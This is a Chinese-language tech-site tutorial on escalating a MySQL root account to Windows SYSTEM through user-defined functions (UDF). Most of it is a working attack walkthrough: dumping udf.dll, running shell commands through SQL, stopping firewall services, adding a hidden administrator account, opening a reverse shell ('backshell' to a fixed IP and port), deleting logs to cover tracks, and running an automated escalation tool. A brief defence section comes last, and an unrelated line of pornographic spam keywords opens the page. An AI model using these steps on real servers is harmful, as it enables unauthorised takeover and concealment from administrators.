自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

原創(chuàng)
安全 數(shù)據(jù)安全 應(yīng)用安全
在本文中,筆者通過一個(gè)實(shí)例來介紹利用利用UDF實(shí)現(xiàn)MySQL提權(quán)的方法。據(jù)筆者闡釋,UDF提權(quán)是利用MySQL的自定義函數(shù)功能,將MySQL賬號(hào)轉(zhuǎn)化為系統(tǒng)system權(quán)限,其利用條件是目標(biāo)系統(tǒng)是Windows(Win2000,XP,Win2003);擁有MySQL的某個(gè)用戶賬號(hào),此賬號(hào)必須有對(duì)MySQL的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù);有root賬號(hào)密碼。

【51CTO.com原創(chuàng)稿件】UDF提權(quán)是利用MySQL的自定義函數(shù)功能,將MySQL賬號(hào)轉(zhuǎn)化為系統(tǒng)system權(quán)限,其利用條件是目標(biāo)系統(tǒng)是Windows(Win2000,XP,Win2003);擁有MySQL的某個(gè)用戶賬號(hào),此賬號(hào)必須有對(duì)MySQL的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù);有root賬號(hào)密碼。網(wǎng)上有很多公開的利用程序,下面通過一個(gè)實(shí)例來介紹MySQL數(shù)據(jù)庫(kù)如何利用Udf進(jìn)行提權(quán)。

注:本文是筆者撰寫的Mysql安全系列文章的第三篇。

第一篇為《關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng)MySQL提權(quán)基礎(chǔ)》;

第二篇為《MySQL數(shù)據(jù)庫(kù)反彈端口連接提權(quán)》。

一、UDF函數(shù)簡(jiǎn)介

1.UDF介紹

UDF(user-defined function)是MySQL的一個(gè)拓展接口,也可稱之為用戶自定義函數(shù),它是用來拓展MySQL的技術(shù)手段,可以說是數(shù)據(jù)庫(kù)功能的一種擴(kuò)展,用戶通過自定義函數(shù)來實(shí)現(xiàn)在MySQL中無(wú)法方便實(shí)現(xiàn)的功能,其添加的新函數(shù)都可以在SQL語(yǔ)句中調(diào)用,就像本機(jī)函數(shù)如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數(shù)定義請(qǐng)參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權(quán)外,其實(shí)Udf還有更多更廣泛的應(yīng)用,例如https://github.com/mysqludf/repositories,就提供了非常多的應(yīng)用:

lib_mysqludf_fPROJ4:一組擴(kuò)展的科學(xué)函數(shù),將地理經(jīng)度和緯度坐標(biāo)轉(zhuǎn)換為笛卡爾坐標(biāo),反之亦然。

lib_mysqludf_json:用于將關(guān)系數(shù)據(jù)映射到JSON格式的函數(shù)的UDF庫(kù)。

lib_mysqludf_log:用于將調(diào)試信息寫入日志文件的UDF庫(kù)。

lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達(dá)式

lib_mysqludf_stat:用于統(tǒng)計(jì)分析的UDF庫(kù)。

lib_mysqludf_str:一個(gè)帶有MySQL附加字符串函數(shù)的UDF庫(kù)

lib_mysqludf_sys:具有與操作系統(tǒng)交互的功能的UDF庫(kù)。這些函數(shù)允許您與MySQL運(yùn)行的執(zhí)行環(huán)境進(jìn)行交互。

lib_mysqludf_xml:一個(gè)UDF庫(kù),用于直接從MySQL創(chuàng)建XML輸出。

有三種方法向MySQL添加新函數(shù)。

(1)可以通過用戶定義的函數(shù)(UDF)接口添加函數(shù)。用戶定義的函數(shù)被編譯為庫(kù)文件,然后使用CREATE FUNCTION和DROP FUNCTION語(yǔ)句動(dòng)態(tài)添加到服務(wù)器或從服務(wù)器中刪除。

(2)可以將函數(shù)添加為本機(jī)(內(nèi)置)MySQL函數(shù)。本機(jī)函數(shù)被編譯到 mysqld服務(wù)器并永久可用。

(3)添加函數(shù)的另一種方法是創(chuàng)建存儲(chǔ)的函數(shù)。這些是使用SQL語(yǔ)句編寫的,而不是通過編譯目標(biāo)代碼。

二、Windows下UDF提權(quán)的條件和方法

Windows下UDF提權(quán)對(duì)于Windows2008以下服務(wù)器比較適用,也即針對(duì)Windows2000、Windows2003的成功率較高。

1. UDF提權(quán)條件

(1)Mysql版本大于5.1版本udf.dll文件必須放置于MYSQL安裝目錄下的lib\plugin文件夾下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql數(shù)據(jù)庫(kù)的賬號(hào)有對(duì)mysql的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù),一般以root賬號(hào)為佳,具備root賬號(hào)所具備的權(quán)限的其它賬號(hào)也可以。

(4)可以將udf.dll寫入到相應(yīng)目錄的權(quán)限。

2.提權(quán)方法

(1)獲取數(shù)據(jù)庫(kù)版本、數(shù)據(jù)位置以及插件位置等信息

  1. select version();//獲取數(shù)據(jù)庫(kù)版本 
  2. select user();//獲取數(shù)據(jù)庫(kù)用戶 
  3. select @@basedir ;//獲取安裝目錄 
  4. show variables like '%plugins%'; //尋找mysql安裝路徑 

(2)導(dǎo)出路徑

  1. C:\Winnt\udf.dll Windows 2000 
  2. C:\Windows\udf.dll Windows2003(有的系統(tǒng)被轉(zhuǎn)義,需要改為C:Windowsudf.dll) 

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創(chuàng)建自定義函數(shù)。該目錄默認(rèn)是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下創(chuàng)建libplugin文件夾,然后將udf.dll文件導(dǎo)出到該目錄即可。

在某些情況下,我們會(huì)遇到Can't open shared library的情況,這時(shí)就需要我們把udf.dll導(dǎo)出到lib\plugin目錄下才可以,網(wǎng)上大牛發(fā)現(xiàn)利用NTFS ADS流來創(chuàng)建文件夾的方法:

  1. select @@basedir; //查找到mysql的目錄 
  2.  
  3. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創(chuàng)建lib目錄 
  4.  
  5. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創(chuàng)建plugin目錄 

執(zhí)行成功以后就會(huì)plugin目錄,然后再進(jìn)行導(dǎo)出udf.dll即可。

(3)創(chuàng)建cmdshell 函數(shù),該函數(shù)叫什么名字在后續(xù)中則使用該函數(shù)進(jìn)行查詢:

  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

(4)執(zhí)行命令:

  1. select sys_eval(‘whoami’); 

一般情況下不會(huì)出現(xiàn)創(chuàng)建不成功哦。

連不上3389可以先停止windows防火墻和篩選

  1. select sys_eval(‘net stop policyagent’); 
  2. select sys_eval(‘net stop sharedaccess’); 

udf.dll下常見函數(shù):

cmdshell 執(zhí)行cmd;

downloader 下載者,到網(wǎng)上下載指定文件并保存到指定目錄;

open3389 通用開3389終端服務(wù),可指定端口(不改端口無(wú)需重啟);

backshell 反彈Shell;

ProcessView 枚舉系統(tǒng)進(jìn)程;

KillProcess 終止指定進(jìn)程;

regread 讀注冊(cè)表;

regwrite 寫注冊(cè)表;

shut 關(guān)機(jī),注銷,重啟;

about 說明與幫助函數(shù);

具體用戶示例:

  1. select cmdshell('net user iis_user 123!@#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

(5)清除痕跡

  1. drop function cmdshell;// 將函數(shù)刪除 

刪除udf.dll文件以及其它相關(guān)入侵文件及日志。

(6)常見錯(cuò)誤

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
  2.  
  3. SHOW VARIABLES LIKE "secure_file_priv" 

在my.ini 或者mysql.cnf 文件中注銷 (使用#號(hào)) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項(xiàng)去掉。

三、一個(gè)提權(quán)實(shí)例

1.設(shè)置Mysql提權(quán)腳本文件

將Mysql提權(quán)腳本文件上傳到服務(wù)器上,運(yùn)行后,需要對(duì)IP地址、UID、passwod、db進(jìn)行配置,如圖1所示,IP地址一般可以設(shè)置為localhost、127.0.0.1以及真實(shí)IP地址,uid默認(rèn)為root,其它具有root用戶權(quán)限的用戶名稱也可以,pwd為具有root權(quán)限用戶的密碼,db默認(rèn)選擇mysql,單擊提交查詢內(nèi)容進(jìn)行連接測(cè)試。

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

設(shè)置Mysql提交腳本文件

2.進(jìn)行連接測(cè)試

連接成功后,會(huì)給出相應(yīng)的提示信息,如圖2所示,給出用戶,數(shù)據(jù)庫(kù),數(shù)據(jù)目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數(shù)等信息。

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

連接測(cè)試

3.創(chuàng)建“shell”函數(shù)

單擊“Dump UDF” 將UDF.DLL文件導(dǎo)出到默認(rèn)的插件目錄下,然后再運(yùn)行“Create Function”將創(chuàng)建“shell”函數(shù)。如圖3所示,如果前面已經(jīng)創(chuàng)建過shell函數(shù),則會(huì)提示系統(tǒng)中已經(jīng)存在“shell”函數(shù) 。

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

創(chuàng)建“shell”函數(shù)

4.查看用戶

在查詢窗口中輸入“select shell('cmd','net user')”查看系統(tǒng)所有的用戶,如圖4所示,可以正常查看系統(tǒng)的所有用戶信息。

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

查看用戶

5.創(chuàng)建具有管理員權(quán)限的用戶

分別在查詢中輸入腳本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”并執(zhí)行該查詢命令,如果執(zhí)行成功,則表示在系統(tǒng)中添加“temp”用戶,密碼為“temp123456”,同時(shí)將該用戶添加到管理員組中,使其具備管理員權(quán)限,執(zhí)行成功后如圖5,圖6所示。

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

添加temp用戶

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

將用戶temp添加到管理員組

6.提權(quán)成功

在SQL查詢中輸入“select shell('cmd','net localgroup administrators')”命令查看剛才添加到用戶是否真的添加成功,如圖7所示,查詢結(jié)果表明已經(jīng)將temp用戶添加到管理員組中。

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

查看管理員用戶

目前對(duì)于一些網(wǎng)站來說,一般都會(huì)提供遠(yuǎn)程終端服務(wù),只要用戶添加成功,則可以直接登錄該服務(wù)器,如圖8所示,輸入用戶名和密碼,成功進(jìn)入該服務(wù)器,至此通過mysql的root用戶成功提權(quán)。

圖8成功進(jìn)入服務(wù)器

四、其它提權(quán)工具

v5est0r 寫了一個(gè)Mysql提權(quán)綜合利用工具,詳細(xì)情況請(qǐng)參考其代碼共享網(wǎng)站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

1.自動(dòng)導(dǎo)出你的backdoor和mof文件

2.自動(dòng)判斷mysql版本,根據(jù)版本不同導(dǎo)出UDF的DLL到不同目錄,UDF提權(quán)

3.導(dǎo)出LPK.dll文件,劫持系統(tǒng)目錄提權(quán)

4.寫啟動(dòng)項(xiàng)提權(quán)

UdF自動(dòng)提權(quán):

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK劫持提權(quán):

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啟動(dòng)項(xiàng)提權(quán):

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無(wú)法進(jìn)行提權(quán),如圖9所示。

  1. LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini'); 

實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)

查看mysql數(shù)據(jù)庫(kù)配置文件內(nèi)容

五、UDF提權(quán)總結(jié)與防范

目前安裝的Mysql數(shù)據(jù)庫(kù)版本基本是高于5.1版本,通過Mysql查詢可以導(dǎo)出udf.dll但由于mysql中my.ini文件的配置,有可能會(huì)導(dǎo)致無(wú)法創(chuàng)建自定義函數(shù)。這時(shí)候就需要修改my.ini進(jìn)行重啟。

1.提權(quán)總結(jié)

(1)有webshell的提權(quán)

如果獲取了webshell則比較簡(jiǎn)單,目前有很多Mysql提權(quán)的PHP腳本,可以比較快速的進(jìn)行提權(quán),在此不贅述。

(2)無(wú)webshell的提權(quán)

  1. select version(); //獲取mysql版本 
  2.  
  3. select @@basedir; //查找到mysql的目錄 
  4.  
  5. SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置 

通過查詢將udf.dll轉(zhuǎn)成代碼插入數(shù)據(jù)庫(kù),然后導(dǎo)出

  1. use mysql; 
  2.  
  3. set @a=concat('',0x代碼); 
  4.  
  5. create table Ghost(data LONGBLOB); 
  6.  
  7. insert into Ghost values("");update Ghost set data = @a; 
  8.  
  9. 代碼為select hex(load_file('c:/udf.dll'))中的內(nèi)容 
  10.  
  11. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導(dǎo)出ufd.dll 
  12.  
  13. CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創(chuàng)建函數(shù) 
  14.  
  15. select backshell("192.168.40.135",4444); 

(3)使用Python_FuckMySQL工具進(jìn)行自動(dòng)提權(quán)

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 
  2.  
  3. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 
  4.  
  5. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

2.安全防范方法

(1)盡量避免提供對(duì)外鏈接,通過mysql中的user表進(jìn)行查看,禁用“%”。

(2)設(shè)置復(fù)雜的Root賬號(hào)密碼。

(3)對(duì)my.ini設(shè)置只讀屬性,設(shè)置plugin目錄為只讀目錄。

【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】

責(zé)任編輯:藍(lán)雨淚 來源: 51CTO.com
相關(guān)推薦

2017-02-28 09:34:21

2017-02-16 10:00:46

2016-10-31 23:00:58

MySQLMOF方法提權(quán)數(shù)據(jù)庫(kù)安全

2015-03-13 10:06:55

2010-04-06 11:30:09

Oracle 數(shù)據(jù)庫(kù)

2023-07-24 09:00:00

數(shù)據(jù)庫(kù)

2011-07-12 16:41:14

mysql處理異常

2011-07-05 16:08:10

2010-06-09 17:36:45

MySQL數(shù)據(jù)庫(kù)同步

2019-10-12 16:15:13

MySQL數(shù)據(jù)庫(kù)多實(shí)例

2011-07-05 10:16:16

Qt 數(shù)據(jù)庫(kù) SQLite

2011-03-07 11:36:23

FileZillaSe

2010-05-12 18:41:34

MySQL數(shù)據(jù)庫(kù)

2011-07-05 18:04:45

QT Mysql

2011-08-22 14:00:13

SQL Server 游標(biāo)調(diào)用函數(shù)

2011-07-01 10:55:25

Qt 登陸窗口 界面

2009-12-31 11:10:01

2010-06-02 11:34:23

MySQL 數(shù)據(jù)庫(kù)導(dǎo)入

2011-03-25 09:37:17

2011-08-22 09:55:30

SQL Server 排序
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)